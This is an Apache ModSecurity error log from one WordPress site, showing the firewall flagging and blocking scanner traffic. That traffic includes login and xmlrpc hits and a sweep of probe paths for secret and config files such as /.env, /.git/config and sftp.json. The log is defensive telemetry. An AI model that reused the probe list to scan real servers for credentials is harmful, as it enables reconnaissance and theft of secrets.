[Sat Nov 22 06:56:45.831670 2025] [:error] [pid 53478:tid 53525] [client 212.116.231.26:50782] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuLQhUYdXBbQswAdRANAAAAFA"]
[Sat Nov 22 06:56:46.655505 2025] [:error] [pid 25856:tid 25869] [client 212.116.231.26:51190] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuLhsTP0wy94zKUvHnfwAAAQs"]
[Sat Nov 22 06:56:47.491413 2025] [:error] [pid 9547:tid 9564] [client 212.116.231.26:51550] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuL9ClOR5qk7DoMeGltwAAAUs"]
[Sat Nov 22 08:27:53.028252 2025] [:error] [pid 53479:tid 53549] [client 188.226.136.7:53472] [client 188.226.136.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.226.136.7, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSEDiW6cicFF3Aas-oS8MQAAAI0"]
[Sat Nov 22 08:27:58.175272 2025] [:error] [pid 53479:tid 53556] [client 188.226.136.7:53472] [client 188.226.136.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.226.136.7, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSEDjm6cicFF3Aas-oS8OgAAAJQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 22 10:13:18.569209 2025] [autoindex:error] [pid 9547:tid 9577] [client 139.59.37.180:62833] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Nov 22 10:20:13.049884 2025] [:error] [pid 53479:tid 53550] [client 42.118.16.244:48634] [client 42.118.16.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.118.16.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSEd3W6cicFF3Aas-oTdiwAAAI4"], referer: http://rcacivilgroup.com
[Sat Nov 22 10:26:44.411337 2025] [:error] [pid 9547:tid 9565] [client 8.137.149.112:56874] [client 8.137.149.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.137.149.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSEfZNClOR5qk7DoMeEMBQAAAUw"], referer: http://rcacivilgroup.com
[Sat Nov 22 10:46:27.791924 2025] [:error] [pid 53477:tid 53482] [client 182.253.58.139:16501] [client 182.253.58.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.58.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSEkA37Lu30Ku9O40aJGDAAAAAE"], referer: http://rcacivilgroup.com
[Sat Nov 22 11:48:45.638273 2025] [:error] [pid 53566:tid 53577] [client 4.224.244.18:41194] [client 4.224.244.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.224.244.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSEyncbSHDBkRbwMbd7I6QAAAMk"], referer: http://rcacivilgroup.com
[Sat Nov 22 11:52:54.749306 2025] [:error] [pid 53566:tid 53570] [client 209.38.73.139:41296] [client 209.38.73.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.73.139, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSEzlsbSHDBkRbwMbd7J5wAAAMI"]
[Sat Nov 22 11:52:55.928726 2025] [:error] [pid 53566:tid 53588] [client 209.38.73.139:41296] [client 209.38.73.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.73.139, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSEzl8bSHDBkRbwMbd7J6gAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Nov 22 12:52:13.937763 2025] [:error] [pid 53477:tid 53501] [client 178.176.74.30:29350] [client 178.176.74.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.176.74.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSFBfX7Lu30Ku9O40aJkrwAAABQ"], referer: http://RCACIVILGROUP.COM
[Sat Nov 22 13:00:33.326142 2025] [:error] [pid 25856:tid 25875] [client 192.254.229.36:17858] [client 192.254.229.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.254.229.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSFDcRsTP0wy94zKUvFdBAAAARE"], referer: http://rcacivilgroup.com
[Sat Nov 22 14:56:30.738760 2025] [:error] [pid 53479:tid 53546] [client 108.167.157.173:57234] [client 108.167.157.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.167.157.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSFenm6cicFF3Aas-oQ-TAAAAIo"], referer: http://rcacivilgroup.com
[Sat Nov 22 15:18:08.682172 2025] [:error] [pid 53478:tid 53527] [client 221.224.30.114:37350] [client 221.224.30.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 221.224.30.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSFjsAhUYdXBbQswAdTDeAAAAFI"], referer: http://rcacivilgroup.com
[Sat Nov 22 15:48:50.097106 2025] [:error] [pid 25856:tid 25877] [client 162.241.244.103:42688] [client 162.241.244.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.244.103, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSFq4hsTP0wy94zKUvGItQAAARM"], referer: http://rcacivilgroup.com
[Sat Nov 22 16:12:24.578740 2025] [:error] [pid 53479:tid 53543] [client 146.190.63.48:43480] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/@vite/env"] [unique_id "aSFwaG6cicFF3Aas-oRaZgAAAIc"]
[Sat Nov 22 16:12:25.071789 2025] [:error] [pid 25856:tid 25865] [client 146.190.63.48:43482] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aSFwaRsTP0wy94zKUvGNwAAAAQc"]
[Sat Nov 22 16:12:25.561821 2025] [:error] [pid 53566:tid 53575] [client 146.190.63.48:43490] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aSFwacbSHDBkRbwMbd4EiwAAAMc"]
[Sat Nov 22 16:12:26.053113 2025] [:error] [pid 25856:tid 25859] [client 146.190.63.48:43496] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server"] [unique_id "aSFwahsTP0wy94zKUvGNwQAAAQE"]
[Sat Nov 22 16:12:26.544587 2025] [:error] [pid 53479:tid 53557] [client 146.190.63.48:43502] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aSFwam6cicFF3Aas-oRaaQAAAJU"]
[Sat Nov 22 16:12:27.034200 2025] [:error] [pid 25856:tid 25870] [client 146.190.63.48:43518] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/about"] [unique_id "aSFwaxsTP0wy94zKUvGNxAAAAQw"]
[Sat Nov 22 16:12:27.526159 2025] [:error] [pid 9547:tid 9559] [client 146.190.63.48:43534] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aSFwa9ClOR5qk7DoMeF9ggAAAUY"]
[Sat Nov 22 16:12:28.017706 2025] [:error] [pid 53479:tid 53548] [client 146.190.63.48:43550] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aSFwbG6cicFF3Aas-oRaagAAAIw"]
[Sat Nov 22 16:12:28.509250 2025] [:error] [pid 53479:tid 53539] [client 146.190.63.48:43558] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aSFwbG6cicFF3Aas-oRabAAAAIM"]
[Sat Nov 22 16:12:29.006981 2025] [:error] [pid 53477:tid 53491] [client 146.190.63.48:43566] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server-status"] [unique_id "aSFwbX7Lu30Ku9O40aKQPAAAAAo"]
[Sat Nov 22 16:12:29.498376 2025] [:error] [pid 53566:tid 53585] [client 146.190.63.48:58596] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/login.action"] [unique_id "aSFwbcbSHDBkRbwMbd4EjgAAANE"]
[Sat Nov 22 16:12:29.989515 2025] [:error] [pid 53566:tid 53573] [client 146.190.63.48:58606] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/_all_dbs"] [unique_id "aSFwbcbSHDBkRbwMbd4EjwAAAMU"]
[Sat Nov 22 16:12:30.480985 2025] [:error] [pid 53478:tid 53517] [client 146.190.63.48:58614] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aSFwbghUYdXBbQswAdTPHQAAAEg"]
[Sat Nov 22 16:12:30.971509 2025] [:error] [pid 25856:tid 25881] [client 146.190.63.48:58620] [client 146.190.63.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aSFwbhsTP0wy94zKUvGNyQAAARc"]
[Sat Nov 22 16:12:31.462998 2025] [:error] [pid 9547:tid 9572] [client 146.190.63.48:58632] [client 146.190.63.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSFwb9ClOR5qk7DoMeF9iwAAAVM"]
[Sat Nov 22 16:12:31.954336 2025] [:error] [pid 9547:tid 9574] [client 146.190.63.48:58648] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aSFwb9ClOR5qk7DoMeF9jgAAAVU"]
[Sat Nov 22 16:12:32.443616 2025] [:error] [pid 53478:tid 53530] [client 146.190.63.48:58652] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/config.json"] [unique_id "aSFwcAhUYdXBbQswAdTPHwAAAFU"]
[Sat Nov 22 16:12:32.933401 2025] [:error] [pid 53478:tid 53516] [client 146.190.63.48:58654] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aSFwcAhUYdXBbQswAdTPIAAAAEc"]
[Sat Nov 22 16:12:33.425019 2025] [:error] [pid 9547:tid 9573] [client 146.190.63.48:58660] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/info.php"] [unique_id "aSFwcdClOR5qk7DoMeF9kAAAAVQ"]
[Sat Nov 22 16:12:33.917619 2025] [:error] [pid 25856:tid 25865] [client 146.190.63.48:58676] [client 146.190.63.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSFwcRsTP0wy94zKUvGN0AAAAQc"]
[Sat Nov 22 16:30:07.038933 2025] [:error] [pid 9547:tid 9563] [client 165.227.84.14:50936] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/@vite/env"] [unique_id "aSF0j9ClOR5qk7DoMeGCgQAAAUo"]
[Sat Nov 22 16:30:07.661400 2025] [:error] [pid 53479:tid 53540] [client 165.227.84.14:50948] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aSF0j26cicFF3Aas-oRhhwAAAIQ"]
[Sat Nov 22 16:30:08.282796 2025] [:error] [pid 53566:tid 53588] [client 165.227.84.14:50962] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aSF0kMbSHDBkRbwMbd4IWgAAANQ"]
[Sat Nov 22 16:30:08.903914 2025] [:error] [pid 53477:tid 53484] [client 165.227.84.14:50968] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/server"] [unique_id "aSF0kH7Lu30Ku9O40aKU_QAAAAM"]
[Sat Nov 22 16:30:09.525996 2025] [:error] [pid 9547:tid 9573] [client 165.227.84.14:50976] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aSF0kdClOR5qk7DoMeGCggAAAVQ"]
[Sat Nov 22 16:30:10.147819 2025] [:error] [pid 53478:tid 53513] [client 165.227.84.14:50978] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about"] [unique_id "aSF0kghUYdXBbQswAdTT1gAAAEQ"]
[Sat Nov 22 16:30:10.770119 2025] [:error] [pid 53478:tid 53523] [client 165.227.84.14:50994] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aSF0kghUYdXBbQswAdTT2AAAAE4"]
[Sat Nov 22 16:30:11.392174 2025] [:error] [pid 9547:tid 9570] [client 165.227.84.14:51006] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aSF0k9ClOR5qk7DoMeGChAAAAVE"]
[Sat Nov 22 16:30:12.021417 2025] [:error] [pid 9547:tid 9555] [client 165.227.84.14:33076] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aSF0lNClOR5qk7DoMeGChQAAAUI"]
[Sat Nov 22 16:30:12.649668 2025] [:error] [pid 53479:tid 53543] [client 165.227.84.14:33092] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/server-status"] [unique_id "aSF0lG6cicFF3Aas-oRhkgAAAIc"]
[Sat Nov 22 16:30:13.271801 2025] [:error] [pid 25856:tid 25861] [client 165.227.84.14:33096] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login.action"] [unique_id "aSF0lRsTP0wy94zKUvGSqwAAAQM"]
[Sat Nov 22 16:30:13.893748 2025] [:error] [pid 53477:tid 53501] [client 165.227.84.14:33110] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/_all_dbs"] [unique_id "aSF0lX7Lu30Ku9O40aKVAAAAABQ"]
[Sat Nov 22 16:30:14.515787 2025] [:error] [pid 53479:tid 53545] [client 165.227.84.14:33120] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aSF0lm6cicFF3Aas-oRhlAAAAIk"]
[Sat Nov 22 16:30:15.137425 2025] [:error] [pid 53478:tid 53518] [client 165.227.84.14:33124] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aSF0lwhUYdXBbQswAdTT3AAAAEk"]
[Sat Nov 22 16:30:15.759661 2025] [:error] [pid 9547:tid 9558] [client 165.227.84.14:33138] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSF0l9ClOR5qk7DoMeGCiQAAAUU"]
[Sat Nov 22 16:30:16.381467 2025] [:error] [pid 9547:tid 9560] [client 165.227.84.14:33150] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aSF0mNClOR5qk7DoMeGCigAAAUc"]
[Sat Nov 22 16:30:17.003851 2025] [:error] [pid 9547:tid 9569] [client 165.227.84.14:33158] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.json"] [unique_id "aSF0mdClOR5qk7DoMeGCiwAAAVA"]
[Sat Nov 22 16:30:17.624986 2025] [:error] [pid 53479:tid 53536] [client 165.227.84.14:33168] [client 165.227.84.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aSF0mW6cicFF3Aas-oRhnAAAAIA"]
